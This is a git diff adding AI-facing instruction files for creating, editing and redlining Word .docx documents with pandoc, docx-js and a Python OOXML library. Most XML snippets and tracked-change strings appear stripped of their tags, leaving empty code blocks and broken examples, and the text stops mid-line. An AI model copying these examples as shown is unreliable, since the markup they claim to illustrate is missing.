docx +description: "Comprehensive document creation, editing, and analysis with support for tracked changes, comments, formatting preservation, and text extraction. When Claude needs to work with professional documents (.docx files) for: (1) Creating new documents, (2) Modifying or editing content, (3) Working with tracked changes, (4) Adding comments, or any other document tasks" +license: Proprietary. LICENSE.txt has complete terms +--- + +# DOCX creation, editing, and analysis + +## Overview + +A user may ask you to create, edit, or analyze the contents of a .docx file. A .docx file is essentially a ZIP archive containing XML files and other resources that you can read or edit. You have different tools and workflows available for different tasks. + +## Workflow Decision Tree + +### Reading/Analyzing Content +Use "Text extraction" or "Raw XML access" sections below + +### Creating New Document +Use "Creating a new Word document" workflow + +### Editing Existing Document +- **Your own document + simple changes** + Use "Basic OOXML editing" workflow + +- **Someone else's document** + Use **"Redlining workflow"** (recommended default) + +- **Legal, academic, business, or government docs** + Use **"Redlining workflow"** (required) + +## Reading and analyzing content + +### Text extraction +If you just need to read the text contents of a document, you should convert the document to markdown using pandoc. Pandoc provides excellent support for preserving document structure and can show tracked changes: + +```bash +# Convert document to markdown with tracked changes +pandoc --track-changes=all path-to-file.docx -o output.md +# Options: --track-changes=accept/reject/all +``` + +### Raw XML access +You need raw XML access for: comments, complex formatting, document structure, embedded media, and metadata. For any of these features, you'll need to unpack a document and read its raw XML contents. + +#### Unpacking a file +`python ooxml/scripts/unpack.py ` + +#### Key file structures +* `word/document.xml` - Main document contents +* `word/comments.xml` - Comments referenced in document.xml +* `word/media/` - Embedded images and media files +* Tracked changes use `` (insertions) and `` (deletions) tags + +## Creating a new Word document + +When creating a new Word document from scratch, use **docx-js**, which allows you to create Word documents using JavaScript/TypeScript. + +### Workflow +1. **MANDATORY - READ ENTIRE FILE**: Read [`docx-js.md`](docx-js.md) (~500 lines) completely from start to finish. **NEVER set any range limits when reading this file.** Read the full file content for detailed syntax, critical formatting rules, and best practices before proceeding with document creation. +2. Create a JavaScript/TypeScript file using Document, Paragraph, TextRun components (You can assume all dependencies are installed, but if not, refer to the dependencies section below) +3. Export as .docx using Packer.toBuffer() + +## Editing an existing Word document + +When editing an existing Word document, use the **Document library** (a Python library for OOXML manipulation). The library automatically handles infrastructure setup and provides methods for document manipulation. For complex scenarios, you can access the underlying DOM directly through the library. + +### Workflow +1. **MANDATORY - READ ENTIRE FILE**: Read [`ooxml.md`](ooxml.md) (~600 lines) completely from start to finish. **NEVER set any range limits when reading this file.** Read the full file content for the Document library API and XML patterns for directly editing document files. +2. Unpack the document: `python ooxml/scripts/unpack.py ` +3. Create and run a Python script using the Document library (see "Document Library" section in ooxml.md) +4. Pack the final document: `python ooxml/scripts/pack.py ` + +The Document library provides both high-level methods for common operations and direct DOM access for complex scenarios. + +## Redlining workflow for document review + +This workflow allows you to plan comprehensive tracked changes using markdown before implementing them in OOXML. **CRITICAL**: For complete tracked changes, you must implement ALL changes systematically. + +**Batching Strategy**: Group related changes into batches of 3-10 changes. This makes debugging manageable while maintaining efficiency. Test each batch before moving to the next. + +**Principle: Minimal, Precise Edits** +When implementing tracked changes, only mark text that actually changes. Repeating unchanged text makes edits harder to review and appears unprofessional. Break replacements into: [unchanged text] + [deletion] + [insertion] + [unchanged text]. Preserve the original run's RSID for unchanged text by extracting the `` element from the original and reusing it. + +Example - Changing "30 days" to "60 days" in a sentence: +```python +# BAD - Replaces entire sentence +'The term is 30 days.The term is 60 days.' + +# GOOD - Only marks what changed, preserves original for unchanged text +'The term is 3060 days.' +``` + +### Tracked changes workflow + +1. **Get markdown representation**: Convert document to markdown with tracked changes preserved: + ```bash + pandoc --track-changes=all path-to-file.docx -o current.md + ``` + +2. **Identify and group changes**: Review the document and identify ALL changes needed, organizing them into logical batches: + + **Location methods** (for finding changes in XML): + - Section/heading numbers (e.g., "Section 3.2", "Article IV") + - Paragraph identifiers if numbered + - Grep patterns with unique surrounding text + - Document structure (e.g., "first paragraph", "signature block") + - **DO NOT use markdown line numbers** - they don't map to XML structure + + **Batch organization** (group 3-10 related changes per batch): + - By section: "Batch 1: Section 2 amendments", "Batch 2: Section 5 updates" + - By type: "Batch 1: Date corrections", "Batch 2: Party name changes" + - By complexity: Start with simple text replacements, then tackle complex structural changes + - Sequential: "Batch 1: Pages 1-3", "Batch 2: Pages 4-6" + +3. **Read documentation and unpack**: + - **MANDATORY - READ ENTIRE FILE**: Read [`ooxml.md`](ooxml.md) (~600 lines) completely from start to finish. **NEVER set any range limits when reading this file.** Pay special attention to the "Document Library" and "Tracked Change Patterns" sections. + - **Unpack the document**: `python ooxml/scripts/unpack.py ` + - **Note the suggested RSID**: The unpack script will suggest an RSID to use for your tracked changes. Copy this RSID for use in step 4b. + +4. **Implement changes in batches**: Group changes logically (by section, by type, or by proximity) and implement them together in a single script. This approach: + - Makes debugging easier (smaller batch = easier to isolate errors) + - Allows incremental progress + - Maintains efficiency (batch size of 3-10 changes works well) + + **Suggested batch groupings:** + - By document section (e.g., "Section 3 changes", "Definitions", "Termination clause") + - By change type (e.g., "Date changes", "Party name updates", "Legal term replacements") + - By proximity (e.g., "Changes on pages 1-3", "Changes in first half of document") + + For each batch of related changes: + + **a. Map text to XML**: Grep for text in `word/document.xml` to verify how text is split across `` elements. + + **b. Create and run script**: Use `get_node` to find nodes, implement changes, then `doc.save()`. See **"Document Library"** section in ooxml.md for patterns. + + **Note**: Always grep `word/document.xml` immediately before writing a script to get current line numbers and verify text content. Line numbers change after each script run. + +5. **Pack the document**: After all batches are complete, convert the unpacked directory back to .docx: + ```bash + python ooxml/scripts/pack.py unpacked reviewed-document.docx + ``` + +6. **Final verification**: Do a comprehensive check of the complete document: + - Convert final document to markdown: + ```bash + pandoc --track-changes=all reviewed-document.docx -o verification.md + ``` + - Verify ALL changes were applied correctly: + ```bash + grep "original phrase" verification.md # Should NOT find it + grep "replacement phrase" verification.md # Should find it + ``` + - Check that no unintended changes were introduced + + +## Converting Documents to Images + +To visually analyze Word documents, convert them to images using a two-step process: + +1. **Convert DOCX to PDF**: + ```bash + soffice --headless --convert-to pdf document.docx + ``` + +2. **Convert PDF pages to JPEG images**: + ```bash + pdftoppm -jpeg -r 150 document.pdf page + ``` + This creates files like `page-1.jpg`, `page-2.jpg`, etc. + +Options: +- `-r 150`: Sets resolution to 150 DPI (adjust for quality/size balance) +- `-jpeg`: Output JPEG format (use `-png` for PNG if preferred) +- `-f N`: First page to convert (e.g., `-f 2` starts from page 2) +- `-l N`: Last page to convert (e.g., `-l 5` stops at page 5) +- `page`: Prefix for output files + +Example for specific range: +```bash +pdftoppm -jpeg -r 150 -f 2 -l 5 document.pdf page # Converts only pages 2-5 +``` + +## Code Style Guidelines +**IMPORTANT**: When generating code for DOCX operations: +- Write concise code +- Avoid verbose variable names and redundant operations +- Avoid unnecessary print statements + +## Dependencies + +Required dependencies (install if not available): + +- **pandoc**: `sudo apt-get install pandoc` (for text extraction) +- **docx**: `npm install -g docx` (for creating new documents) +- **LibreOffice**: `sudo apt-get install libreoffice` (for PDF conversion) +- **Poppler**: `sudo apt-get install poppler-utils` (for pdftoppm to convert PDF to images) +- **defusedxml**: `pip install defusedxml` (for secure XML parsing) \ No newline at end of file diff --git a/skills/docx/docx-js.md b/skills/docx/docx-js.md new file mode 100644 index 00000000..c6d7b2dd --- /dev/null +++ b/skills/docx/docx-js.md @@ -0,0 +1,350 @@ +# DOCX Library Tutorial + +Generate .docx files with JavaScript/TypeScript. + +**Important: Read this entire document before starting.** Critical formatting rules and common pitfalls are covered throughout - skipping sections may result in corrupted files or rendering issues. + +## Setup +Assumes docx is already installed globally +If not installed: `npm install -g docx` + +```javascript +const { Document, Packer, Paragraph, TextRun, Table, TableRow, TableCell, ImageRun, Media, + Header, Footer, AlignmentType, PageOrientation, LevelFormat, ExternalHyperlink, + InternalHyperlink, TableOfContents, HeadingLevel, BorderStyle, WidthType, TabStopType, + TabStopPosition, UnderlineType, ShadingType, VerticalAlign, SymbolRun, PageNumber, + FootnoteReferenceRun, Footnote, PageBreak } = require('docx'); + +// Create & Save +const doc = new Document({ sections: [{ children: [/* content */] }] }); +Packer.toBuffer(doc).then(buffer => fs.writeFileSync("doc.docx", buffer)); // Node.js +Packer.toBlob(doc).then(blob => { /* download logic */ }); // Browser +``` + +## Text & Formatting +```javascript +// IMPORTANT: Never use \n for line breaks - always use separate Paragraph elements +// ❌ WRONG: new TextRun("Line 1\nLine 2") +// ✅ CORRECT: new Paragraph({ children: [new TextRun("Line 1")] }), new Paragraph({ children: [new TextRun("Line 2")] }) + +// Basic text with all formatting options +new Paragraph({ + alignment: AlignmentType.CENTER, + spacing: { before: 200, after: 200 }, + indent: { left: 720, right: 720 }, + children: [ + new TextRun({ text: "Bold", bold: true }), + new TextRun({ text: "Italic", italics: true }), + new TextRun({ text: "Underlined", underline: { type: UnderlineType.DOUBLE, color: "FF0000" } }), + new TextRun({ text: "Colored", color: "FF0000", size: 28, font: "Arial" }), // Arial default + new TextRun({ text: "Highlighted", highlight: "yellow" }), + new TextRun({ text: "Strikethrough", strike: true }), + new TextRun({ text: "x2", superScript: true }), + new TextRun({ text: "H2O", subScript: true }), + new TextRun({ text: "SMALL CAPS", smallCaps: true }), + new SymbolRun({ char: "2022", font: "Symbol" }), // Bullet • + new SymbolRun({ char: "00A9", font: "Arial" }) // Copyright © - Arial for symbols + ] +}) +``` + +## Styles & Professional Formatting + +```javascript +const doc = new Document({ + styles: { + default: { document: { run: { font: "Arial", size: 24 } } }, // 12pt default + paragraphStyles: [ + // Document title style - override built-in Title style + { id: "Title", name: "Title", basedOn: "Normal", + run: { size: 56, bold: true, color: "000000", font: "Arial" }, + paragraph: { spacing: { before: 240, after: 120 }, alignment: AlignmentType.CENTER } }, + // IMPORTANT: Override built-in heading styles by using their exact IDs + { id: "Heading1", name: "Heading 1", basedOn: "Normal", next: "Normal", quickFormat: true, + run: { size: 32, bold: true, color: "000000", font: "Arial" }, // 16pt + paragraph: { spacing: { before: 240, after: 240 }, outlineLevel: 0 } }, // Required for TOC + { id: "Heading2", name: "Heading 2", basedOn: "Normal", next: "Normal", quickFormat: true, + run: { size: 28, bold: true, color: "000000", font: "Arial" }, // 14pt + paragraph: { spacing: { before: 180, after: 180 }, outlineLevel: 1 } }, + // Custom styles use your own IDs + { id: "myStyle", name: "My Style", basedOn: "Normal", + run: { size: 28, bold: true, color: "000000" }, + paragraph: { spacing: { after: 120 }, alignment: AlignmentType.CENTER } } + ], + characterStyles: [{ id: "myCharStyle", name: "My Char Style", + run: { color: "FF0000", bold: true, underline: { type: UnderlineType.SINGLE } } }] + }, + sections: [{ + properties: { page: { margin: { top: 1440, right: 1440, bottom: 1440, left: 1440 } } }, + children: [ + new Paragraph({ heading: HeadingLevel.TITLE, children: [new TextRun("Document Title")] }), // Uses overridden Title style + new Paragraph({ heading: HeadingLevel.HEADING_1, children: [new TextRun("Heading 1")] }), // Uses overridden Heading1 style + new Paragraph({ style: "myStyle", children: [new TextRun("Custom paragraph style")] }), + new Paragraph({ children: [ + new TextRun("Normal with "), + new TextRun({ text: "custom char style", style: "myCharStyle" }) + ]}) + ] + }] +}); +``` + +**Professional Font Combinations:** +- **Arial (Headers) + Arial (Body)** - Most universally supported, clean and professional +- **Times New Roman (Headers) + Arial (Body)** - Classic serif headers with modern sans-serif body +- **Georgia (Headers) + Verdana (Body)** - Optimized for screen reading, elegant contrast + +**Key Styling Principles:** +- **Override built-in styles**: Use exact IDs like "Heading1", "Heading2", "Heading3" to override Word's built-in heading styles +- **HeadingLevel constants**: `HeadingLevel.HEADING_1` uses "Heading1" style, `HeadingLevel.HEADING_2` uses "Heading2" style, etc. +- **Include outlineLevel**: Set `outlineLevel: 0` for H1, `outlineLevel: 1` for H2, etc. to ensure TOC works correctly +- **Use custom styles** instead of inline formatting for consistency +- **Set a default font** using `styles.default.document.run.font` - Arial is universally supported +- **Establish visual hierarchy** with different font sizes (titles > headers > body) +- **Add proper spacing** with `before` and `after` paragraph spacing +- **Use colors sparingly**: Default to black (000000) and shades of gray for titles and headings (heading 1, heading 2, etc.) +- **Set consistent margins** (1440 = 1 inch is standard) + + +## Lists (ALWAYS USE PROPER LISTS - NEVER USE UNICODE BULLETS) +```javascript +// Bullets - ALWAYS use the numbering config, NOT unicode symbols +// CRITICAL: Use LevelFormat.BULLET constant, NOT the string "bullet" +const doc = new Document({ + numbering: { + config: [ + { reference: "bullet-list", + levels: [{ level: 0, format: LevelFormat.BULLET, text: "•", alignment: AlignmentType.LEFT, + style: { paragraph: { indent: { left: 720, hanging: 360 } } } }] }, + { reference: "first-numbered-list", + levels: [{ level: 0, format: LevelFormat.DECIMAL, text: "%1.", alignment: AlignmentType.LEFT, + style: { paragraph: { indent: { left: 720, hanging: 360 } } } }] }, + { reference: "second-numbered-list", // Different reference = restarts at 1 + levels: [{ level: 0, format: LevelFormat.DECIMAL, text: "%1.", alignment: AlignmentType.LEFT, + style: { paragraph: { indent: { left: 720, hanging: 360 } } } }] } + ] + }, + sections: [{ + children: [ + // Bullet list items + new Paragraph({ numbering: { reference: "bullet-list", level: 0 }, + children: [new TextRun("First bullet point")] }), + new Paragraph({ numbering: { reference: "bullet-list", level: 0 }, + children: [new TextRun("Second bullet point")] }), + // Numbered list items + new Paragraph({ numbering: { reference: "first-numbered-list", level: 0 }, + children: [new TextRun("First numbered item")] }), + new Paragraph({ numbering: { reference: "first-numbered-list", level: 0 }, + children: [new TextRun("Second numbered item")] }), + // ⚠️ CRITICAL: Different reference = INDEPENDENT list that restarts at 1 + // Same reference = CONTINUES previous numbering + new Paragraph({ numbering: { reference: "second-numbered-list", level: 0 }, + children: [new TextRun("Starts at 1 again (because different reference)")] }) + ] + }] +}); + +// ⚠️ CRITICAL NUMBERING RULE: Each reference creates an INDEPENDENT numbered list +// - Same reference = continues numbering (1, 2, 3... then 4, 5, 6...) +// - Different reference = restarts at 1 (1, 2, 3... then 1, 2, 3...) +// Use unique reference names for each separate numbered section! + +// ⚠️ CRITICAL: NEVER use unicode bullets - they create fake lists that don't work properly +// new TextRun("• Item") // WRONG +// new SymbolRun({ char: "2022" }) // WRONG +// ✅ ALWAYS use numbering config with LevelFormat.BULLET for real Word lists +``` + +## Tables +```javascript +// Complete table with margins, borders, headers, and bullet points +const tableBorder = { style: BorderStyle.SINGLE, size: 1, color: "CCCCCC" }; +const cellBorders = { top: tableBorder, bottom: tableBorder, left: tableBorder, right: tableBorder }; + +new Table({ + columnWidths: [4680, 4680], // ⚠️ CRITICAL: Set column widths at table level - values in DXA (twentieths of a point) + margins: { top: 100, bottom: 100, left: 180, right: 180 }, // Set once for all cells + rows: [ + new TableRow({ + tableHeader: true, + children: [ + new TableCell({ + borders: cellBorders, + width: { size: 4680, type: WidthType.DXA }, // ALSO set width on each cell + // ⚠️ CRITICAL: Always use ShadingType.CLEAR to prevent black backgrounds in Word. + shading: { fill: "D5E8F0", type: ShadingType.CLEAR }, + verticalAlign: VerticalAlign.CENTER, + children: [new Paragraph({ + alignment: AlignmentType.CENTER, + children: [new TextRun({ text: "Header", bold: true, size: 22 })] + })] + }), + new TableCell({ + borders: cellBorders, + width: { size: 4680, type: WidthType.DXA }, // ALSO set width on each cell + shading: { fill: "D5E8F0", type: ShadingType.CLEAR }, + children: [new Paragraph({ + alignment: AlignmentType.CENTER, + children: [new TextRun({ text: "Bullet Points", bold: true, size: 22 })] + })] + }) + ] + }), + new TableRow({ + children: [ + new TableCell({ + borders: cellBorders, + width: { size: 4680, type: WidthType.DXA }, // ALSO set width on each cell + children: [new Paragraph({ children: [new TextRun("Regular data")] })] + }), + new TableCell({ + borders: cellBorders, + width: { size: 4680, type: WidthType.DXA }, // ALSO set width on each cell + children: [ + new Paragraph({ + numbering: { reference: "bullet-list", level: 0 }, + children: [new TextRun("First bullet point")] + }), + new Paragraph({ + numbering: { reference: "bullet-list", level: 0 }, + children: [new TextRun("Second bullet point")] + }) + ] + }) + ] + }) + ] +}) +``` + +**IMPORTANT: Table Width & Borders** +- Use BOTH `columnWidths: [width1, width2, ...]` array AND `width: { size: X, type: WidthType.DXA }` on each cell +- Values in DXA (twentieths of a point): 1440 = 1 inch, Letter usable width = 9360 DXA (with 1" margins) +- Apply borders to individual `TableCell` elements, NOT the `Table` itself + +**Precomputed Column Widths (Letter size with 1" margins = 9360 DXA total):** +- **2 columns:** `columnWidths: [4680, 4680]` (equal width) +- **3 columns:** `columnWidths: [3120, 3120, 3120]` (equal width) + +## Links & Navigation +```javascript +// TOC (requires headings) - CRITICAL: Use HeadingLevel only, NOT custom styles +// ❌ WRONG: new Paragraph({ heading: HeadingLevel.HEADING_1, style: "customHeader", children: [new TextRun("Title")] }) +// ✅ CORRECT: new Paragraph({ heading: HeadingLevel.HEADING_1, children: [new TextRun("Title")] }) +new TableOfContents("Table of Contents", { hyperlink: true, headingStyleRange: "1-3" }), + +// External link +new Paragraph({ + children: [new ExternalHyperlink({ + children: [new TextRun({ text: "Google", style: "Hyperlink" })], + link: "https://www.google.com" + })] +}), + +// Internal link & bookmark +new Paragraph({ + children: [new InternalHyperlink({ + children: [new TextRun({ text: "Go to Section", style: "Hyperlink" })], + anchor: "section1" + })] +}), +new Paragraph({ + children: [new TextRun("Section Content")], + bookmark: { id: "section1", name: "section1" } +}), +``` + +## Images & Media +```javascript +// Basic image with sizing & positioning +// CRITICAL: Always specify 'type' parameter - it's REQUIRED for ImageRun +new Paragraph({ + alignment: AlignmentType.CENTER, + children: [new ImageRun({ + type: "png", // NEW REQUIREMENT: Must specify image type (png, jpg, jpeg, gif, bmp, svg) + data: fs.readFileSync("image.png"), + transformation: { width: 200, height: 150, rotation: 0 }, // rotation in degrees + altText: { title: "Logo", description: "Company logo", name: "Name" } // IMPORTANT: All three fields are required + })] +}) +``` + +## Page Breaks +```javascript +// Manual page break +new Paragraph({ children: [new PageBreak()] }), + +// Page break before paragraph +new Paragraph({ + pageBreakBefore: true, + children: [new TextRun("This starts on a new page")] +}) + +// ⚠️ CRITICAL: NEVER use PageBreak standalone - it will create invalid XML that Word cannot open +// ❌ WRONG: new PageBreak() +// ✅ CORRECT: new Paragraph({ children: [new PageBreak()] }) +``` + +## Headers/Footers & Page Setup +```javascript +const doc = new Document({ + sections: [{ + properties: { + page: { + margin: { top: 1440, right: 1440, bottom: 1440, left: 1440 }, // 1440 = 1 inch + size: { orientation: PageOrientation.LANDSCAPE }, + pageNumbers: { start: 1, formatType: "decimal" } // "upperRoman", "lowerRoman", "upperLetter", "lowerLetter" + } + }, + headers: { + default: new Header({ children: [new Paragraph({ + alignment: AlignmentType.RIGHT, + children: [new TextRun("Header Text")] + })] }) + }, + footers: { + default: new Footer({ children: [new Paragraph({ + alignment: AlignmentType.CENTER, + children: [new TextRun("Page "), new TextRun({ children: [PageNumber.CURRENT] }), new TextRun(" of "), new TextRun({ children: [PageNumber.TOTAL_PAGES] })] + })] }) + }, + children: [/* content */] + }] +}); +``` + +## Tabs +```javascript +new Paragraph({ + tabStops: [ + { type: TabStopType.LEFT, position: TabStopPosition.MAX / 4 }, + { type: TabStopType.CENTER, position: TabStopPosition.MAX / 2 }, + { type: TabStopType.RIGHT, position: TabStopPosition.MAX * 3 / 4 } + ], + children: [new TextRun("Left\tCenter\tRight")] +}) +``` + +## Constants & Quick Reference +- **Underlines:** `SINGLE`, `DOUBLE`, `WAVY`, `DASH` +- **Borders:** `SINGLE`, `DOUBLE`, `DASHED`, `DOTTED` +- **Numbering:** `DECIMAL` (1,2,3), `UPPER_ROMAN` (I,II,III), `LOWER_LETTER` (a,b,c) +- **Tabs:** `LEFT`, `CENTER`, `RIGHT`, `DECIMAL` +- **Symbols:** `"2022"` (•), `"00A9"` (©), `"00AE"` (®), `"2122"` (™), `"00B0"` (°), `"F070"` (✓), `"F0FC"` (✗) + +## Critical Issues & Common Mistakes +- **CRITICAL: PageBreak must ALWAYS be inside a Paragraph** - standalone PageBreak creates invalid XML that Word cannot open +- **ALWAYS use ShadingType.CLEAR for table cell shading** - Never use ShadingType.SOLID (causes black background). +- Measurements in DXA (1440 = 1 inch) | Each table cell needs ≥1 Paragraph | TOC requires HeadingLevel styles only +- **ALWAYS use custom styles** with Arial font for professional appearance and proper visual hierarchy +- **ALWAYS set a default font** using `styles.default.document.run.font` - Arial recommended +- **ALWAYS use columnWidths array for tables** + individual cell widths for compatibility +- **NEVER use unicode symbols for bullets** - always use proper numbering configuration with `LevelFormat.BULLET` constant (NOT the string "bullet") +- **NEVER use \n for line breaks anywhere** - always use separate Paragraph elements for each line +- **ALWAYS use TextRun objects within Paragraph children** - never use text property directly on Paragraph +- **CRITICAL for images**: ImageRun REQUIRES `type` parameter - always specify "png", "jpg", "jpeg", "gif", "bmp", or "svg" +- **CRITICAL for bullets**: Must use `LevelFormat.BULLET` constant, not string "bullet", and include `text: "•"` for the bullet character +- **CRITICAL for numbering**: Each numbering reference creates an INDEPENDENT list. Same reference = continues numbering (1,2,3 then 4,5,6). Different reference = restarts at 1 (1,2,3 then 1,2,3). Use unique reference names for each separate numbered section! +- **CRITICAL for TOC**: When using TableOfContents, headings must use HeadingLevel ONLY - do NOT add custom styles to heading paragraphs or TOC will break +- **Tables**: Set `columnWidths` array + individual cell widths, apply borders to cells not table +- **Set table margins at TABLE level** for consistent cell padding (avoids repetition per cell) \ No newline at end of file diff --git a/skills/docx/ooxml.md b/skills/docx/ooxml.md new file mode 100644 index 00000000..7677e7b8 --- /dev/null +++ b/skills/docx/ooxml.md @@ -0,0 +1,610 @@ +# Office Open XML Technical Reference + +**Important: Read this entire document before starting.** This document covers: +- [Technical Guidelines](#technical-guidelines) - Schema compliance rules and validation requirements +- [Document Content Patterns](#document-content-patterns) - XML patterns for headings, lists, tables, formatting, etc. +- [Document Library (Python)](#document-library-python) - Recommended approach for OOXML manipulation with automatic infrastructure setup +- [Tracked Changes (Redlining)](#tracked-changes-redlining) - XML patterns for implementing tracked changes + +## Technical Guidelines + +### Schema Compliance +- **Element ordering in ``**: ``, ``, ``, ``, `` +- **Whitespace**: Add `xml:space='preserve'` to `` elements with leading/trailing spaces +- **Unicode**: Escape characters in ASCII content: `"` becomes `“` + - **Character encoding reference**: Curly quotes `""` become `“”`, apostrophe `'` becomes `’`, em-dash `—` becomes `—` +- **Tracked changes**: Use `` and `` tags with `w:author="Claude"` outside `` elements + - **Critical**: `` closes with ``, `` closes with `` - never mix + - **RSIDs must be 8-digit hex**: Use values like `00AB1234` (only 0-9, A-F characters) + - **trackRevisions placement**: Add `` after `` in settings.xml +- **Images**: Add to `word/media/`, reference in `document.xml`, set dimensions to prevent overflow + +## Document Content Patterns + +### Basic Structure +```xml + + Text content + +``` + +### Headings and Styles +```xml + + + + + + Document Title + + + + + Section Heading + +``` + +### Text Formatting +```xml + +Bold + +Italic + +Underlined + +Highlighted +``` + +### Lists +```xml + + + + + + + + First item + + + + + + + + + + New list item 1 + + + + + + + + + + + Bullet item + +``` + +### Tables +```xml + + + + + + + + + + + + Cell 1 + + + + Cell 2 + + + +``` + +### Layout +```xml + + + + + + + + + + + + New Section Title + + + + + + + + + + Centered text + + + + + + + + Monospace text + + + + + + + This text is Courier New + + and this text uses default font + +``` + +## File Updates + +When adding content, update these files: + +**`word/_rels/document.xml.rels`:** +```xml + + +``` + +**`[Content_Types].xml`:** +```xml + + +``` + +### Images +**CRITICAL**: Calculate dimensions to prevent page overflow and maintain aspect ratio. + +```xml + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +``` + +### Links (Hyperlinks) + +**IMPORTANT**: All hyperlinks (both internal and external) require the Hyperlink style to be defined in styles.xml. Without this style, links will look like regular text instead of blue underlined clickable links. + +**External Links:** +```xml + + + + + Link Text + + + + + +``` + +**Internal Links:** + +```xml + + + + + Link Text + + + + + +Target content + +``` + +**Hyperlink Style (required in styles.xml):** +```xml + + + + + + + + + + +``` + +## Document Library (Python) + +Use the Document class from `scripts/document.py` for all tracked changes and comments. It automatically handles infrastructure setup (people.xml, RSIDs, settings.xml, comment files, relationships, content types). Only use direct XML manipulation for complex scenarios not supported by the library. + +**Working with Unicode and Entities:** +- **Searching**: Both entity notation and Unicode characters work - `contains="“Company"` and `contains="\u201cCompany"` find the same text +- **Replacing**: Use either entities (`“`) or Unicode (`\u201c`) - both work and will be converted appropriately based on the file's encoding (ascii → entities, utf-8 → Unicode) + +### Initialization + +**Find the docx skill root** (directory containing `scripts/` and `ooxml/`): +```bash +# Search for document.py to locate the skill root +# Note: /mnt/skills is used here as an example; check your context for the actual location +find /mnt/skills -name "document.py" -path "*/docx/scripts/*" 2>/dev/null | head -1 +# Example output: /mnt/skills/docx/scripts/document.py +# Skill root is: /mnt/skills/docx +``` + +**Run your script with PYTHONPATH** set to the docx skill root: +```bash +PYTHONPATH=/mnt/skills/docx python your_script.py +``` + +**In your script**, import from the skill root: +```python +from scripts.document import Document, DocxXMLEditor + +# Basic initialization (automatically creates temp copy and sets up infrastructure) +doc = Document('unpacked') + +# Customize author and initials +doc = Document('unpacked', author="John Doe", initials="JD") + +# Enable track revisions mode +doc = Document('unpacked', track_revisions=True) + +# Specify custom RSID (auto-generated if not provided) +doc = Document('unpacked', rsid="07DC5ECB") +``` + +### Creating Tracked Changes + +**CRITICAL**: Only mark text that actually changes. Keep ALL unchanged text outside ``/`` tags. Marking unchanged text makes edits unprofessional and harder to review. + +**Attribute Handling**: The Document class auto-injects attributes (w:id, w:date, w:rsidR, w:rsidDel, w16du:dateUtc, xml:space) into new elements. When preserving unchanged text from the original document, copy the original `` element with its existing attributes to maintain document integrity. + +**Method Selection Guide**: +- **Adding your own changes to regular text**: Use `replace_node()` with ``/`` tags, or `suggest_deletion()` for removing entire `` or `` elements +- **Partially modifying another author's tracked change**: Use `replace_node()` to nest your changes inside their ``/`` +- **Completely rejecting another author's insertion**: Use `revert_insertion()` on the `` element (NOT `suggest_deletion()`) +- **Completely rejecting another author's deletion**: Use `revert_deletion()` on the `` element to restore deleted content using tracked changes + +```python +# Minimal edit - change one word: "The report is monthly" → "The report is quarterly" +# Original: The report is monthly +node = doc["word/document.xml"].get_node(tag="w:r", contains="The report is monthly") +rpr = tags[0].toxml() if (tags := node.getElementsByTagName("w:rPr")) else "" +replacement = f'{rpr}The report is {rpr}monthly{rpr}quarterly' +doc["word/document.xml"].replace_node(node, replacement) + +# Minimal edit - change number: "within 30 days" → "within 45 days" +# Original: within 30 days +node = doc["word/document.xml"].get_node(tag="w:r", contains="within 30 days") +rpr = tags[0].toxml() if (tags := node.getElementsByTagName("w:rPr")) else "" +replacement = f'{rpr}within {rpr}30{rpr}45{rpr} days' +doc["word/document.xml"].replace_node(node, replacement) + +# Complete replacement - preserve formatting even when replacing all text +node = doc["word/document.xml"].get_node(tag="w:r", contains="apple") +rpr = tags[0].toxml() if (tags := node.getElementsByTagName("w:rPr")) else "" +replacement = f'{rpr}apple{rpr}banana orange' +doc["word/document.xml"].replace_node(node, replacement) + +# Insert new content (no attributes needed - auto-injected) +node = doc["word/document.xml"].get_node(tag="w:r", contains="existing text") +doc["word/document.xml"].insert_after(node, 'new text') + +# Partially delete another author's insertion +# Original: quarterly financial report +# Goal: Delete only "financial" to make it "quarterly report" +node = doc["word/document.xml"].get_node(tag="w:ins", attrs={"w:id": "5"}) +# IMPORTANT: Preserve w:author="Jane Smith" on the outer to maintain authorship +replacement = ''' + quarterly + financial + report +''' +doc["word/document.xml"].replace_node(node, replacement) + +# Change part of another author's insertion +# Original: in silence, safe and sound +# Goal: Change "safe and sound" to "soft and unbound" +node = doc["word/document.xml"].get_node(tag="w:ins", attrs={"w:id": "8"}) +replacement = f''' + in silence, + + + soft and unbound + + + safe and sound +''' +doc["word/document.xml"].replace_node(node, replacement) + +# Delete entire run (use only when deleting all content; use replace_node for partial deletions) +node = doc["word/document.xml"].get_node(tag="w:r", contains="text to delete") +doc["word/document.xml"].suggest_deletion(node) + +# Delete entire paragraph (in-place, handles both regular and numbered list paragraphs) +para = doc["word/document.xml"].get_node(tag="w:p", contains="paragraph to delete") +doc["word/document.xml"].suggest_deletion(para) + +# Add new numbered list item +target_para = doc["word/document.xml"].get_node(tag="w:p", contains="existing list item") +pPr = tags[0].toxml() if (tags := target_para.getElementsByTagName("w:pPr")) else "" +new_item = f'{pPr}New item' +tracked_para = DocxXMLEditor.suggest_paragraph(new_item) +doc["word/document.xml"].insert_after(target_para, tracked_para) +# Optional: add spacing paragraph before content for better visual separation +# spacing = DocxXMLEditor.suggest_paragraph('') +# doc["word/document.xml"].insert_after(target_para, spacing + tracked_para) +``` + +### Adding Comments + +```python +# Add comment spanning two existing tracked changes +# Note: w:id is auto-generated. Only search by w:id if you know it from XML inspection +start_node = doc["word/document.xml"].get_node(tag="w:del", attrs={"w:id": "1"}) +end_node = doc["word/document.xml"].get_node(tag="w:ins", attrs={"w:id": "2"}) +doc.add_comment(start=start_node, end=end_node, text="Explanation of this change") + +# Add comment on a paragraph +para = doc["word/document.xml"].get_node(tag="w:p", contains="paragraph text") +doc.add_comment(start=para, end=para, text="Comment on this paragraph") + +# Add comment on newly created tracked change +# First create the tracked change +node = doc["word/document.xml"].get_node(tag="w:r", contains="old") +new_nodes = doc["word/document.xml"].replace_node( + node, + 'oldnew' +) +# Then add comment on the newly created elements +# new_nodes[0] is the , new_nodes[1] is the +doc.add_comment(start=new_nodes[0], end=new_nodes[1], text="Changed old to new per requirements") + +# Reply to existing comment +doc.reply_to_comment(parent_comment_id=0, text="I agree with this change") +``` + +### Rejecting Tracked Changes + +**IMPORTANT**: Use `revert_insertion()` to reject insertions and `revert_deletion()` to restore deletions using tracked changes. Use `suggest_deletion()` only for regular unmarked content. + +```python +# Reject insertion (wraps it in deletion) +# Use this when another author inserted text that you want to delete +ins = doc["word/document.xml"].get_node(tag="w:ins", attrs={"w:id": "5"}) +nodes = doc["word/document.xml"].revert_insertion(ins) # 